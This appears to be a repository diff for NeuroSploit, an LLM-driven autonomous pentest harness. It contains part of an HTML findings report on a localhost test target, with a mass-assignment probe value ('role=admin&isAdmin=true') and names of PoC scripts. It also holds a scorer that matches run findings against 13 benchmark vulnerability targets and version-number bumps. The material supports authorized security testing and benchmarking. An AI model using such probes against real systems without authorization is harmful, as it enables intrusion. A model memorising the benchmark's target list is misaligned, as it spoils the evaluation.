|
||||||
|
POST /register -> HTTP 302 Location: /account, Set-Cookie nimbus.sid (HttpOnly). GET /account with cookie renders 'My Account (nrsplt_5e5001b1)', badge 'customer', Balance $100.00. Login POST /login with same creds -> 302 /account (account persists). No email verification required.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 18. Test accounts created during the engagement (DELETE after) <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design</td><td class=fk>Confidence</td><td>conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000</td></tr><tr><td class=fk>Agent</td><td>account_registration_and_forms</td><td class=fk>Auth context</td><td>n/a · 11 test account(s)</td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns this class</div><h4>Where the problem is</h4><p class=where>http://localhost:3000</p><h4>What it means</h4><p>Observed:
|
||||||
|
- 11 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E01]
|
||||||
|
- • nrsplt_a12084@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid issued on 302 to /account [E02]
|
||||||
|
- • nrsplt_b10346@example.test [user] — created via curl POST username/email/password, second account for horizontal IDOR [E03]
|
||||||
|
- • nrsplt_5e5001b1@example.test [customer] — created via curl: POST /register urlencoded username,email,password (+ role=admin&isAdmin=true probe ignored). 302 -> /account, session issued [E04]
|
||||||
|
- • poc19163@example.test [customer] — created via created by PoC script bola_v2_users.sh (3rd/last account) [E05]
|
||||||
|
- • nrsplt_a_14209@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/a.jar [E06]
|
||||||
|
- • nrsplt_b_12145@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/b.jar [E07]
|
||||||
|
- • nrsplt_a_82@example.test [customer(id=39)] — created via curl GET /register for cookie then POST username/email/password [E08]
|
||||||
|
- • nrsplt_poc_* (example.test) [customer] — created via auto-registered by pocs/bola_api_users.sh, bola_api_orders.sh, idor_web_invoice.sh on each run (throwaway); purge all nrsplt_poc_* and nrsplt_a_* test users [E09]
|
||||||
|
- • nrsplt_25769@example.test [customer] — created via curl: GET /register for cookie, POST username/email/password [E10]
|
||||||
|
- • nrsplt_16069@example.test [user] — created via curl POST username/email/password; 302 to /account, session issued [E11]
|
||||||
|
- • nrsplt_21620@example.test [customer] — created via created by PoC stored_xss_product_review.sh run [E12]
|
||||||
|
|
||||||
|
Not demonstrated: Operational cleanup: remove these accounts once testing is complete.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||||
|
|
||||||
|
Potential impact: Operational cleanup: remove these accounts once testing is complete.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Delete the listed test accounts; rotate anything they touched.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
|
||||||
|
curl -i -s 'http://localhost:3000'</pre></li></ol><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
11 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
|
||||||
|
• nrsplt_a12084@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid issued on 302 to /account
|
||||||
|
• nrsplt_b10346@example.test [user] — created via curl POST username/email/password, second account for horizontal IDOR
|
||||||
|
• nrsplt_5e5001b1@example.test [customer] — created via curl: POST /register urlencoded username,email,password (+ role=admin&isAdmin=true probe ignored). 302 -> /account, session issued
|
||||||
|
• poc19163@example.test [customer] — created via created by PoC script bola_v2_users.sh (3rd/last account)
|
||||||
|
• nrsplt_a_14209@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/a.jar
|
||||||
|
• nrsplt_b_12145@example.test [user] — created via curl POST username/email/password, session cookie nimbus.sid in /tmp/b.jar
|
||||||
|
• nrsplt_a_82@example.test [customer(id=39)] — created via curl GET /register for cookie then POST username/email/password
|
||||||
|
• nrsplt_poc_* (example.test) [customer] — created via auto-registered by pocs/bola_api_users.sh, bola_api_orders.sh, idor_web_invoice.sh on each run (throwaway); purge all nrsplt_poc_* and nrsplt_a_* test users
|
||||||
|
• nrsplt_25769@example.test [customer] — created via curl: GET /register for cookie, POST username/email/password
|
||||||
|
• nrsplt_16069@example.test [user] — created via curl POST username/email/password; 302 to /account, session issued
|
||||||
|
• nrsplt_21620@example.test [customer] — created via created by PoC stored_xss_product_review.sh run</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/idor_web_invoice.sh"><code>pocs/idor_web_invoice.sh</code></a></li><li><a href="pocs/bola_api_orders.sh"><code>pocs/bola_api_orders.sh</code></a></li><li><a href="pocs/bola_v2_users.sh"><code>pocs/bola_v2_users.sh</code></a></li><li><a href="pocs/stored_xss_product_review.sh"><code>pocs/stored_xss_product_review.sh</code></a></li><li><a href="pocs/bola_api_users.sh"><code>pocs/bola_api_users.sh</code></a></li></ul></section><p class=footer>Authorized testing only. Confirmed findings passed multi-model voting, receipt grounding and adversarial refute; "needs-review" are flagged for a human.<br>NeuroSploit v4.0.0 · by <b>Joas A Santos</b> & <b>Red Team Leaders</b><br><span style="font-family:ui-monospace,monospace">JOASNSCOPE-49d3d3ceb1df-ns-1789870577-localhost_3000</span></p></body></html>
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# Score a NeuroSploit run against the user's 13 target scenarios (ground truth
|
||||||
|
# from BenchMarkBurpAT/SOLUTIONS.md). Matching is by class + endpoint keyword.
|
||||||
|
# No solver is involved — this only reads what the run reported.
|
||||||
|
import json, sys, re
|
||||||
|
|
||||||
|
# The 13 targets the user asked to attack: id -> (cwe-ish class, endpoint keywords)
|
||||||
|
TARGETS = {
|
||||||
|
"web_idor_invoice": ("idor", ["/account/invoice", "invoice"]),
|
||||||
|
"api_bola_orders": ("idor", ["/orders", "/v2/orders", "bola"]),
|
||||||
|
"web_sqli_login_bypass": ("sqli", ["/login"]),
|
||||||
|
"web_sqli_union_search": ("sqli", ["/shop/search", "search"]),
|
||||||
|
"web_sqli_blind_boolean": ("sqli", ["/shop/filter", "maxprice", "filter"]),
|
||||||
|
"web_sqli_blind_time": ("sqli", ["/support/feedback", "feedback", "comment"]),
|
||||||
|
"web_sqli_second_order": ("sqli", ["/account/profile", "/admin/search-users", "bio", "second"]),
|
||||||
|
"web_xss_reflected_search":("xss", ["/shop/search", "search"]),
|
||||||
|
"web_xss_stored_review": ("xss", ["/review", "/shop/product"]),
|
||||||
|
"web_xss_svg_upload": ("xss", ["/support/ticket", "/uploads", "svg"]),
|
||||||
|
"web_xss_dom_redirect": ("xss", ["/go", "dom", "?url", "name="]),
|
||||||
|
"web_open_redirect_login": ("redirect", ["/login", "next", "/go", "url="]),
|
||||||
|
"web_crlf_header_go": ("crlf", ["/go", "crlf", "header inject"]),
|
||||||
|
}
|
||||||
|
|
||||||
|
CLASS_CWE = {
|
||||||
|
"sqli": {"89","943","564"},
|
||||||
|
"xss": {"79","80","83","87"},
|
||||||
|
"idor": {"639","862","863","284","285","566","425","200"},
|
||||||
|
"redirect": {"601"},
|
||||||
|
"crlf": {"113","93"},
|
||||||
|
}
|
||||||
|
|
||||||
|
def classify(f):
|
||||||
|
cwe = "".join(ch for ch in f.get("cwe","") if ch.isdigit())
|
||||||
|
t = (f.get("title","")+" "+f.get("cwe","")).lower()
|
||||||
|
for cls, cwes in CLASS_CWE.items():
|
||||||
|
if cwe in cwes: return cls
|
||||||
|
for cls, kw in {"sqli":["sql inj","sqli"],"xss":["xss","cross-site scripting"],
|
||||||
|
"idor":["idor","bola","broken access","broken object"],
|
||||||
|
"redirect":["open redirect"],"crlf":["crlf","response splitting","header inject"]}.items():
|
||||||
|
if any(k in t for k in kw): return cls
|
||||||
|
return "other"
|
||||||
|
|
||||||
|
def endpoint_blob(f):
|
||||||
|
return " ".join(str(f.get(k,"")) for k in ("endpoint","title","payload","evidence")).lower()
|
||||||
|
|
||||||
|
def score(findings_path):
|
||||||
|
findings = json.load(open(findings_path))
|
||||||
|
hits = {} # target_id -> matched finding index
|
||||||
|
used = set()
|
||||||
|
for tid,(cls,kws) in TARGETS.items():
|
||||||
|
for i,f in enumerate(findings):
|
||||||
|
if i in used: continue
|
||||||
|
if classify(f)!=cls: continue
|
||||||
|
blob = endpoint_blob(f)
|
||||||
|
if any(kw.lower() in blob for kw in kws):
|
||||||
|
hits[tid]=i; used.add(i); break
|
||||||
|
tp = len(hits)
|
||||||
|
fn = [t for t in TARGETS if t not in hits]
|
||||||
|
# extra findings not matched to a target = out-of-scope-but-real OR noise;
|
||||||
|
# count as "extra" (not penalised as FP unless clearly bogus).
|
||||||
|
extra = [i for i in range(len(findings)) if i not in used]
|
||||||
|
return {
|
||||||
|
"total_findings": len(findings),
|
||||||
|
"targets_hit": tp,
|
||||||
|
"targets_total": len(TARGETS),
|
||||||
|
"recall": round(tp/len(TARGETS),3),
|
||||||
|
"hit_ids": sorted(hits.keys()),
|
||||||
|
"missed_ids": sorted(fn),
|
||||||
|
"extra_findings": len(extra),
|
||||||
|
}
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
import os
|
||||||
|
for path in sys.argv[1:]:
|
||||||
|
fp = path if path.endswith(".json") else os.path.join(path,"findings.json")
|
||||||
|
try:
|
||||||
|
r = score(fp)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{path}: ERROR {e}"); continue
|
||||||
|
print(f"\n== {path} ==")
|
||||||
|
print(f" findings reported : {r['total_findings']}")
|
||||||
|
print(f" targets hit : {r['targets_hit']}/{r['targets_total']} (recall {r['recall']})")
|
||||||
|
print(f" hit : {', '.join(r['hit_ids']) or '—'}")
|
||||||
|
print(f" missed : {', '.join(r['missed_ids']) or '—'}")
|
||||||
|
print(f" extra findings : {r['extra_findings']}")
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
|
||||||
|
== /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000 ==
|
||||||
|
findings reported : 16
|
||||||
|
targets hit : 10/13 (recall 0.769)
|
||||||
|
hit : api_bola_orders, web_open_redirect_login, web_sqli_blind_boolean, web_sqli_blind_time, web_sqli_login_bypass, web_sqli_union_search, web_xss_dom_redirect, web_xss_reflected_search, web_xss_stored_review, web_xss_svg_upload
|
||||||
|
missed : web_crlf_header_go, web_idor_invoice, web_sqli_second_order
|
||||||
|
extra findings : 6
|
||||||
|
|
||||||
|
== /opt/neurosploit-rs/runs/ns-1789855082-localhost_3000 ==
|
||||||
|
findings reported : 0
|
||||||
|
targets hit : 0/13 (recall 0.0)
|
||||||
|
hit : —
|
||||||
|
missed : api_bola_orders, web_crlf_header_go, web_idor_invoice, web_open_redirect_login, web_sqli_blind_boolean, web_sqli_blind_time, web_sqli_login_bypass, web_sqli_second_order, web_sqli_union_search, web_xss_dom_redirect, web_xss_reflected_search, web_xss_stored_review, web_xss_svg_upload
|
||||||
|
extra findings : 0
|
||||||
Generated
+2
-2
@@ -929,7 +929,7 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "neurosploit"
|
name = "neurosploit"
|
||||||
version = "4.0.0"
|
version = "4.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"anyhow",
|
"anyhow",
|
||||||
"clap",
|
"clap",
|
||||||
@@ -946,7 +946,7 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "neurosploit-harness"
|
name = "neurosploit-harness"
|
||||||
version = "4.0.0"
|
version = "4.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"anyhow",
|
"anyhow",
|
||||||
"base64",
|
"base64",
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ members = ["crates/harness", "app"]
|
|||||||
resolver = "2"
|
resolver = "2"
|
||||||
|
|
||||||
[workspace.package]
|
[workspace.package]
|
||||||
version = "4.0.0"
|
version = "4.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
license = "MIT"
|
license = "MIT"
|
||||||
repository = "https://github.com/JoasASantos/NeuroSploit"
|
repository = "https://github.com/JoasASantos/NeuroSploit"
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//! NeuroSploit v4.0.0 — interactive harness + CLI (`run` / `whitebox` / `agents` / `models`).
|
//! NeuroSploit v4.1.0 — interactive harness + CLI (`run` / `whitebox` / `agents` / `models`).
|
||||||
|
|
||||||
mod rectify;
|
mod rectify;
|
||||||
mod repl;
|
mod repl;
|
||||||
@@ -12,8 +12,8 @@ use std::path::{Path, PathBuf};
|
|||||||
#[command(
|
#[command(
|
||||||
name = "neurosploit",
|
name = "neurosploit",
|
||||||
version,
|
version,
|
||||||
about = "NeuroSploit v4.0.0 — multi-model autonomous pentest harness",
|
about = "NeuroSploit v4.1.0 — multi-model autonomous pentest harness",
|
||||||
long_about = "NeuroSploit v4.0.0 — a Rust multi-model harness that drives a pool of LLMs \
|
long_about = "NeuroSploit v4.1.0 — a Rust multi-model harness that drives a pool of LLMs \
|
||||||
(API key or local subscription: Claude/Codex/Gemini/Grok/OpenCode/Hermes) to autonomously test a target. \
|
(API key or local subscription: Claude/Codex/Gemini/Grok/OpenCode/Hermes) to autonomously test a target. \
|
||||||
After recon it INTELLIGENTLY selects only the agents matching the discovered surface, runs \
|
After recon it INTELLIGENTLY selects only the agents matching the discovered surface, runs \
|
||||||
them in parallel, then validates every finding by cross-model voting before reporting.\n\n\
|
them in parallel, then validates every finding by cross-model voting before reporting.\n\n\
|
||||||
@@ -1011,7 +1011,7 @@ pub(crate) fn spawn_engagement(base: &Path, mut cfg: RunConfig, mcp: bool, mode:
|
|||||||
println!(" │ ua : {ua}");
|
println!(" │ ua : {ua}");
|
||||||
write_status(&workdir, "running", &format!("\"target\":{:?}", cfg.target));
|
write_status(&workdir, "running", &format!("\"target\":{:?}", cfg.target));
|
||||||
|
|
||||||
println!(" ┌─ NeuroSploit v4.0.0 · by Joas A Santos & Red Team Leaders");
|
println!(" ┌─ NeuroSploit v4.1.0 · by Joas A Santos & Red Team Leaders");
|
||||||
println!(" │ run id : {run_id}");
|
println!(" │ run id : {run_id}");
|
||||||
println!(" │ target : {}", cfg.target);
|
println!(" │ target : {}", cfg.target);
|
||||||
println!(" │ models : {}", cfg.models.join(", "));
|
println!(" │ models : {}", cfg.models.join(", "));
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//! NeuroSploit v4.0.0 — interactive session (Claude-Code / Codex / Cursor-CLI style).
|
//! NeuroSploit v4.1.0 — interactive session (Claude-Code / Codex / Cursor-CLI style).
|
||||||
//!
|
//!
|
||||||
//! Launched when `neurosploit` runs with no subcommand. A persistent REPL with
|
//! Launched when `neurosploit` runs with no subcommand. A persistent REPL with
|
||||||
//! real line editing (arrow-key history recall, Ctrl-A/E/K, paste), model
|
//! real line editing (arrow-key history recall, Ctrl-A/E/K, paste), model
|
||||||
@@ -440,7 +440,7 @@ pub async fn repl(base: &Path, auth: SessionAuth) -> anyhow::Result<()> {
|
|||||||
let backends = harness::installed_cli_backends();
|
let backends = harness::installed_cli_backends();
|
||||||
println!("\x1b[1m");
|
println!("\x1b[1m");
|
||||||
println!(" ███╗ ██╗███████╗██╗ ██╗██████╗ ██████╗");
|
println!(" ███╗ ██╗███████╗██╗ ██╗██████╗ ██████╗");
|
||||||
println!(" ████╗ ██║██╔════╝██║ ██║██╔══██╗██╔═══██╗ NeuroSploit v4.0.0");
|
println!(" ████╗ ██║██╔════╝██║ ██║██╔══██╗██╔═══██╗ NeuroSploit v4.1.0");
|
||||||
println!(" ██╔██╗ ██║█████╗ ██║ ██║██████╔╝██║ ██║ interactive harness");
|
println!(" ██╔██╗ ██║█████╗ ██║ ██║██████╔╝██║ ██║ interactive harness");
|
||||||
println!(" ██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║ ██║ by Joas A Santos");
|
println!(" ██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║ ██║ by Joas A Santos");
|
||||||
println!(" ██║ ╚████║███████╗╚██████╔╝██║ ██║╚██████╔╝ & Red Team Leaders");
|
println!(" ██║ ╚████║███████╗╚██████╔╝██║ ██║╚██████╔╝ & Red Team Leaders");
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//! NeuroSploit v4.0.0 — TUI "Mission Control" mode.
|
//! NeuroSploit v4.1.0 — TUI "Mission Control" mode.
|
||||||
//!
|
//!
|
||||||
//! Concurrent panels that update live while the engagement runs in the
|
//! Concurrent panels that update live while the engagement runs in the
|
||||||
//! background, with a composer input that stays active during execution:
|
//! background, with a composer input that stays active during execution:
|
||||||
|
|||||||
@@ -242,7 +242,7 @@ pub fn html_with_pocs(target: &str, findings: &[Finding], meta: &EngagementMeta,
|
|||||||
<h2>Executive Summary</h2><div class=summary-grid>{summary_grid}</div>\
|
<h2>Executive Summary</h2><div class=summary-grid>{summary_grid}</div>\
|
||||||
{vuln_summary}\
|
{vuln_summary}\
|
||||||
<h2>Findings ({n})</h2>{body}\
|
<h2>Findings ({n})</h2>{body}\
|
||||||
<p class=footer>Authorized testing only. Confirmed findings passed multi-model voting, receipt grounding and adversarial refute; \"needs-review\" are flagged for a human.<br>NeuroSploit v4.0.0 · by <b>Joas A Santos</b> & <b>Red Team Leaders</b><br><span style=\"font-family:ui-monospace,monospace\">{provenance}</span></p></body></html>",
|
<p class=footer>Authorized testing only. Confirmed findings passed multi-model voting, receipt grounding and adversarial refute; \"needs-review\" are flagged for a human.<br>NeuroSploit v4.1.0 · by <b>Joas A Santos</b> & <b>Red Team Leaders</b><br><span style=\"font-family:ui-monospace,monospace\">{provenance}</span></p></body></html>",
|
||||||
t = esc(target), n = sorted.len(), body = body, summary_grid = summary_grid, vuln_summary = vuln_summary,
|
t = esc(target), n = sorted.len(), body = body, summary_grid = summary_grid, vuln_summary = vuln_summary,
|
||||||
// Which build produced this document. A report that circulates without
|
// Which build produced this document. A report that circulates without
|
||||||
// it is a report nobody can trace back to the run that made it.
|
// it is a report nobody can trace back to the run that made it.
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
// NeuroSploit v3.5.1 — Typst report template (blank, structured).
|
// NeuroSploit v4.1.0 — Typst report template (blank, structured).
|
||||||
//
|
//
|
||||||
// The harness generates `report.typ` per run by prepending a `findings` array
|
// The harness generates `report.typ` per run by prepending a `findings` array
|
||||||
// and a `meta` dict, then including this template's rendering logic. This file
|
// and a `meta` dict, then including this template's rendering logic. This file
|
||||||
@@ -53,7 +53,7 @@
|
|||||||
|
|
||||||
#set page(margin: 2cm, numbering: "1", footer: context [
|
#set page(margin: 2cm, numbering: "1", footer: context [
|
||||||
#set text(size: 8pt, fill: gray)
|
#set text(size: 8pt, fill: gray)
|
||||||
NeuroSploit v4.0.0 · #meta.target · confidential
|
NeuroSploit v4.1.0 · #meta.target · confidential
|
||||||
#h(1fr)
|
#h(1fr)
|
||||||
// Build+run identity, so a page that circulates on its own still says which
|
// Build+run identity, so a page that circulates on its own still says which
|
||||||
// engagement produced it.
|
// engagement produced it.
|
||||||
|
|||||||
+1
-1
@@ -22,7 +22,7 @@ run this only on a trusted machine/network, same trust model as the CLI itself.
|
|||||||
Server/version info.
|
Server/version info.
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{ "version": "4.0.0", "binary": "/opt/neurosploit-rs/neurosploit-rs/target/release/neurosploit", "root": "/opt/neurosploit-rs" }
|
{ "version": "4.1.0", "binary": "/opt/neurosploit-rs/neurosploit-rs/target/release/neurosploit", "root": "/opt/neurosploit-rs" }
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
# NeuroSploit v4.0.0 — web console
|
# NeuroSploit v4.1.0 — web console
|
||||||
|
|
||||||
A browser UI for the `neurosploit` CLI harness: a 5-step engagement wizard (Asset → Scope & Auth
|
A browser UI for the `neurosploit` CLI harness: a 5-step engagement wizard (Asset → Scope & Auth
|
||||||
→ Leads → Model & Run → Review), a live structured findings view with a generative attack-path
|
→ Leads → Model & Run → Review), a live structured findings view with a generative attack-path
|
||||||
|
|||||||
+2
-2
@@ -1,8 +1,8 @@
|
|||||||
{
|
{
|
||||||
"name": "neurosploit-web",
|
"name": "neurosploit-web",
|
||||||
"version": "4.0.0",
|
"version": "4.1.0",
|
||||||
"private": true,
|
"private": true,
|
||||||
"description": "NeuroSploit v4.0.0 web console — lead board + REPL, backed by the neurosploit CLI harness.",
|
"description": "NeuroSploit v4.1.0 web console — lead board + REPL, backed by the neurosploit CLI harness.",
|
||||||
"main": "server.js",
|
"main": "server.js",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"start": "node server.js"
|
"start": "node server.js"
|
||||||
|
|||||||
+1
-1
@@ -1,5 +1,5 @@
|
|||||||
'use strict';
|
'use strict';
|
||||||
/* NeuroSploit v4.0.0 — web console frontend. Vanilla JS, no build step. */
|
/* NeuroSploit v4.1.0 — web console frontend. Vanilla JS, no build step. */
|
||||||
|
|
||||||
const $ = (sel, root = document) => root.querySelector(sel);
|
const $ = (sel, root = document) => root.querySelector(sel);
|
||||||
const $$ = (sel, root = document) => Array.from(root.querySelectorAll(sel));
|
const $$ = (sel, root = document) => Array.from(root.querySelectorAll(sel));
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
<head>
|
<head>
|
||||||
<meta charset="utf-8" />
|
<meta charset="utf-8" />
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||||
<title>NeuroSploit v4.0.0 — Console</title>
|
<title>NeuroSploit v4.1.0 — Console</title>
|
||||||
<link rel="icon" href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🧠</text></svg>">
|
<link rel="icon" href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🧠</text></svg>">
|
||||||
<link rel="stylesheet" href="/vendor/xterm.css" />
|
<link rel="stylesheet" href="/vendor/xterm.css" />
|
||||||
<link rel="stylesheet" href="/style.css" />
|
<link rel="stylesheet" href="/style.css" />
|
||||||
@@ -33,7 +33,7 @@
|
|||||||
<div class="sb-groups" id="sbGroups"><!-- populated by app.js --></div>
|
<div class="sb-groups" id="sbGroups"><!-- populated by app.js --></div>
|
||||||
|
|
||||||
<div class="sb-bottom">
|
<div class="sb-bottom">
|
||||||
<span class="sb-version" id="sbVersion">v4.0.0</span>
|
<span class="sb-version" id="sbVersion">v4.1.0</span>
|
||||||
<div class="sb-bottom-actions">
|
<div class="sb-bottom-actions">
|
||||||
<button class="icon-btn" id="btnOpenAuth" title="Auth & API keys">🔑</button>
|
<button class="icon-btn" id="btnOpenAuth" title="Auth & API keys">🔑</button>
|
||||||
<button class="icon-btn" id="btnOpenRepl" title="Open terminal (Ctrl+`)">❭_</button>
|
<button class="icon-btn" id="btnOpenRepl" title="Open terminal (Ctrl+`)">❭_</button>
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
/* NeuroSploit v4.0.0 — web console.
|
/* NeuroSploit v4.1.0 — web console.
|
||||||
Visual direction: dense security-operations console (not a marketing SaaS
|
Visual direction: dense security-operations console (not a marketing SaaS
|
||||||
page). Borders over shadows, typography over color, two radii, one accent.
|
page). Borders over shadows, typography over color, two radii, one accent.
|
||||||
*/
|
*/
|
||||||
|
|||||||
+2
-2
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env node
|
#!/usr/bin/env node
|
||||||
'use strict';
|
'use strict';
|
||||||
/**
|
/**
|
||||||
* NeuroSploit v4.0.0 — web console backend.
|
* NeuroSploit v4.1.0 — web console backend.
|
||||||
*
|
*
|
||||||
* Zero-dependency Node HTTP server that:
|
* Zero-dependency Node HTTP server that:
|
||||||
* - serves the static SPA in ./public
|
* - serves the static SPA in ./public
|
||||||
@@ -1223,7 +1223,7 @@ const server = http.createServer(async (req, res) => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
server.listen(PORT, () => {
|
server.listen(PORT, () => {
|
||||||
console.log(`NeuroSploit v4.0.0 web console → http://localhost:${PORT}`);
|
console.log(`NeuroSploit v4.1.0 web console → http://localhost:${PORT}`);
|
||||||
console.log(` binary : ${BIN || '(not found — build neurosploit-rs first)'}`);
|
console.log(` binary : ${BIN || '(not found — build neurosploit-rs first)'}`);
|
||||||
console.log(` agents : ${AGENTS_DIR}`);
|
console.log(` agents : ${AGENTS_DIR}`);
|
||||||
console.log(` runs : ${RUNS_DIR}`);
|
console.log(` runs : ${RUNS_DIR}`);
|
||||||
|
|||||||
Reference in new issue
Block a user